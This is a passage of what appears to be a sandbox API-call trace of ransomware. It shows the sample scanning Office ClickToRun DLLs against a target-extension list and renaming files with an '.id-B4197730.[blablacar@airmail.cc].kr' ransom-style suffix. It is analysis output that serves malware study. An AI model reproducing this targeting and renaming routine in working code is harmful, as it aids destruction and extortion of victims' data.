shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-utility-l1-1-0.dll")) returned 1 [0107.693] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91 [0107.693] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91 [0107.693] lstrlenW (lpString=".doc") returned 4 [0107.693] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0107.693] lstrlenW (lpString=".docx") returned 5 [0107.693] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0107.693] lstrlenW (lpString=".pdf") returned 4 [0107.693] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0107.693] lstrlenW (lpString=".xls") returned 4 [0107.693] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0107.693] lstrlenW (lpString=".xlsx") returned 5 [0107.693] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0107.693] lstrlenW (lpString=".ppt") returned 4 [0107.694] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0107.694] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91 [0107.694] lstrlenW (lpString=".zip") returned 4 [0107.694] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0107.694] lstrlenW (lpString=".rar") returned 4 [0107.694] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0107.694] lstrlenW (lpString=".bz2") returned 4 [0107.694] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0107.694] lstrlenW (lpString=".7z") returned 3 [0107.694] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0107.694] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91 [0107.694] lstrlenW (lpString=".dbf") returned 4 [0107.694] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0107.694] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91 [0107.694] lstrlenW (lpString=".1cd") returned 4 [0107.694] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0107.694] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91 [0107.694] lstrlenW (lpString=".jpg") returned 4 [0107.694] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0107.694] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91 [0107.694] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91 [0107.694] lstrlenW (lpString=".doc") returned 4 [0107.694] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0107.694] lstrlenW (lpString=".docx") returned 5 [0107.695] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0107.695] lstrlenW (lpString=".pdf") returned 4 [0107.695] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0107.695] lstrlenW (lpString=".xls") returned 4 [0107.695] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0107.695] lstrlenW (lpString=".xlsx") returned 5 [0107.695] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0107.695] lstrlenW (lpString=".ppt") returned 4 [0107.695] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0107.695] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91 [0107.695] lstrlenW (lpString=".zip") returned 4 [0107.695] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0107.695] lstrlenW (lpString=".rar") returned 4 [0107.695] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0107.695] lstrlenW (lpString=".bz2") returned 4 [0107.695] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0107.695] lstrlenW (lpString=".7z") returned 3 [0107.695] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0107.695] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91 [0107.695] lstrlenW (lpString=".dbf") returned 4 [0107.695] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0107.695] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91 [0107.695] lstrlenW (lpString=".1cd") returned 4 [0107.695] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0107.695] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91 [0107.695] lstrlenW (lpString=".jpg") returned 4 [0107.696] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0107.696] lstrcmpiW (lpString1=".dll", lpString2=".kr") returned -1 [0107.696] lstrlenW (lpString="AppvIsvSubsystems64.dll") returned 23 [0107.696] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0107.696] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x37dff14 | out: lpFileSize=0x37dff14*=2285736) returned 1 [0107.696] CloseHandle (hObject=0x388) returned 1 [0107.696] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll")) returned 0x20 [0107.697] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0107.697] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 1 [0107.703] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0107.703] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0107.703] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll.id-b4197730.[blablacar@airmail.cc].kr"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll")) returned 1 [0107.704] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81 [0107.704] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81 [0107.704] lstrlenW (lpString=".doc") returned 4 [0107.704] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0107.704] lstrlenW (lpString=".docx") returned 5 [0107.704] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1 [0107.704] lstrlenW (lpString=".pdf") returned 4 [0107.704] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0107.704] lstrlenW (lpString=".xls") returned 4 [0107.704] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0107.704] lstrlenW (lpString=".xlsx") returned 5 [0107.704] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1 [0107.704] lstrlenW (lpString=".ppt") returned 4 [0107.704] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0107.704] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81 [0107.705] lstrlenW (lpString=".zip") returned 4 [0107.705] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0107.705] lstrlenW (lpString=".rar") returned 4 [0107.705] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0107.705] lstrlenW (lpString=".bz2") returned 4 [0107.705] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0107.705] lstrlenW (lpString=".7z") returned 3 [0107.705] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0107.705] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81 [0107.705] lstrlenW (lpString=".dbf") returned 4 [0107.705] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0107.705] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81 [0107.705] lstrlenW (lpString=".1cd") returned 4 [0107.705] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0107.705] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81 [0107.705] lstrlenW (lpString=".jpg") returned 4 [0107.705] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0107.705] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81 [0107.705] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81 [0107.705] lstrlenW (lpString=".doc") returned 4 [0107.705] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0107.705] lstrlenW (lpString=".docx") returned 5 [0107.705] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1 [0107.705] lstrlenW (lpString=".pdf") returned 4 [0107.706] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0107.706] lstrlenW (lpString=".xls") returned 4 [0107.706] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0107.706] lstrlenW (lpString=".xlsx") returned 5 [0107.706] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1 [0107.706] lstrlenW (lpString=".ppt") returned 4 [0107.706] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0107.706] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81 [0107.706] lstrlenW (lpString=".zip") returned 4 [0107.706] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0107.706] lstrlenW (lpString=".rar") returned 4 [0107.706] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0107.706] lstrlenW (lpString=".bz2") returned 4 [0107.706] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0107.706] lstrlenW (lpString=".7z") returned 3 [0107.706] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0107.706] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81 [0107.706] lstrlenW (lpString=".dbf") returned 4 [0107.706] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0107.706] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81 [0107.706] lstrlenW (lpString=".1cd") returned 4 [0107.706] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0107.706] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81 [0107.706] lstrlenW (lpString=".jpg") returned 4 [0107.706] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0107.707] lstrcmpiW (lpString1=".dll", lpString2=".kr") returned -1 [0107.707] lstrlenW (lpString="AppVIsvVirtualization.dll") returned 25 [0107.707] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvvirtualization.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0107.707] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x37dff14 | out: lpFileSize=0x37dff14*=567512) returned 1 [0107.707] CloseHandle (hObject=0x388) returned 1 [0107.707] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvvirtualization.dll")) returned 0x20 [0107.707] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvvirtualization.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0107.707] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvvirtualization.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0107.708] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83 [0107.708] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83 [0107.708] lstrlenW (lpString=".doc") returned 4 [0107.708] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0107.708] lstrlenW (lpString=".docx") returned 5 [0107.708] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0107.708] lstrlenW (lpString=".pdf") returned 4 [0107.708] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0107.708] lstrlenW (lpString=".xls") returned 4 [0107.708] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0107.708] lstrlenW (lpString=".xlsx") returned 5 [0107.708] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0107.708] lstrlenW (lpString=".ppt") returned 4 [0107.708] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0107.708] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83 [0107.708] lstrlenW (lpString=".zip") returned 4 [0107.708] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0107.708] lstrlenW (lpString=".rar") returned 4 [0107.708] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0107.708] lstrlenW (lpString=".bz2") returned 4 [0107.708] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0107.708] lstrlenW (lpString=".7z") returned 3 [0107.709] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0107.709] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83 [0107.709] lstrlenW (lpString=".dbf") returned 4 [0107.709] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0107.709] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83 [0107.709] lstrlenW (lpString=".1cd") returned 4 [0107.709] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0107.709] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83 [0107.709] lstrlenW (lpString=".jpg") returned 4 [0107.709] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0107.709] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83 [0107.709] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83 [0107.709] lstrlenW (lpString=".doc") returned 4 [0107.709] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0107.709] lstrlenW (lpString=".docx") returned 5 [0107.709] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0107.709] lstrlenW (lpString=".pdf") returned 4 [0107.709] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0107.709] lstrlenW (lpString=".xls") returned 4 [0107.709] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0107.709] lstrlenW (lpString=".xlsx") returned 5 [0107.709] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0107.709] lstrlenW (lpString=".ppt") returned 4 [0107.710] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0107.710] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83 [0107.710] lstrlenW (lpString=".zip") returned 4 [0107.710] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0107.710] lstrlenW (lpString=".rar") returned 4 [0107.710] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0107.710] lstrlenW (lpString=".bz2") returned 4 [0107.710] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0107.710] lstrlenW (lpString=".7z") returned 3 [0107.710] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0107.710] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83 [0107.710] lstrlenW (lpString=".dbf") returned 4 [0107.710] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0107.710] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83 [0107.710] lstrlenW (lpString=".1cd") returned 4 [0107.710] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0107.710] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83 [0107.710] lstrlenW (lpString=".jpg") returned 4 [0107.710] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0107.710] lstrcmpiW (lpString1=".dll", lpString2=".kr") returned -1 [0107.711] lstrlenW (lpString="AppVManifest.dll") returned 16 [0107.711] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvmanifest.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0107.711] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x37dff14 | out: lpFileSize=0x37dff14*=1231576) returned 1 [0107.711] CloseHandle (hObject=0x388) returned 1 [0107.711] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvmanifest.dll")) returned 0x20 [0107.711] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvmanifest.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0107.713] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvmanifest.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0107.713] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74 [0107.713] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74 [0107.713] lstrlenW (lpString=".doc") returned 4 [0107.713] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0107.713] lstrlenW (lpString=".docx") returned 5 [0107.713] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0107.713] lstrlenW (lpString=".pdf") returned 4 [0107.713] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0107.713] lstrlenW (lpString=".xls") returned 4 [0107.713] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0107.713] lstrlenW (lpString=".xlsx") returned 5 [0107.713] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0107.713] lstrlenW (lpString=".ppt") returned 4 [0107.713] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0107.713] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74 [0107.713] lstrlenW (lpString=".zip") returned 4 [0107.714] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0107.714] lstrlenW (lpString=".rar") returned 4 [0107.714] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0107.714] lstrlenW (lpString=".bz2") returned 4 [0107.714] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0107.714] lstrlenW (lpString=".7z") returned 3 [0107.714] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0107.714] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74 [0107.714] lstrlenW (lpString=".dbf") returned 4 [0107.714] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0107.714] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74 [0107.714] lstrlenW (lpString=".1cd") returned 4 [0107.714] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0107.714] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74 [0107.714] lstrlenW (lpString=".jpg") returned 4 [0107.714] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0107.714] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74 [0107.714] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74 [0107.714] lstrlenW (lpString=".doc") returned 4 [0107.714] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0107.714] lstrlenW (lpString=".docx") returned 5 [0107.714] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0107.714] lstrlenW (lpString=".pdf") returned 4 [0107.715] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0107.715] lstrlenW (lpString=".xls") returned 4 [0107.715] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0107.715] lstrlenW (lpString=".xlsx") returned 5 [0107.715] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0107.715] lstrlenW (lpString=".ppt") returned 4 [0107.715] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0107.715] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74 [0107.715] lstrlenW (lpString=".zip") returned 4 [0107.715] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0107.715] lstrlenW (lpString=".rar") returned 4 [0107.715] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0107.715] lstrlenW (lpString=".bz2") returned 4 [0107.715] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0107.715] lstrlenW (lpString=".7z") returned 3 [0107.715] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0107.715] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74 [0107.715] lstrlenW (lpString=".dbf") returned 4 [0107.715] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0107.715] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74 [0107.715] lstrlenW (lpString=".1cd") returned 4 [0107.715] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0107.715] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74 [0107.715] lstrlenW (lpString=".jpg") returned 4 [0107.716] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0107.716] lstrcmpiW (lpString1=".dll", lpString2=".kr") returned -1 [0107.716] lstrlenW (lpString="AppVOrchestration.dll") returned 21 [0107.716] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvorchestration.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0107.716] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x37dff14 | out: lpFileSize=0x37dff14*=947928) returned 1 [0107.716] CloseHandle (hObject=0x388) returned 1 [0107.717] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvorchestration.dll")) returned 0x20 [0107.717] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvorchestration.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0107.717] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvorchestration.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0107.717] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79 [0107.717] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79 [0107.717] lstrlenW (lpString=".doc") returned 4 [0107.717] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0107.717] lstrlenW (lpString=".docx") returned 5 [0107.717] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0107.717] lstrlenW (lpString=".pdf") returned 4 [0107.717] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0107.717] lstrlenW (lpString=".xls") returned 4 [0107.717] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0107.717] lstrlenW (lpString=".xlsx") returned 5 [0107.717] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0107.717] lstrlenW (lpString=".ppt") returned 4 [0107.718] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0107.718] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79 [0107.718] lstrlenW 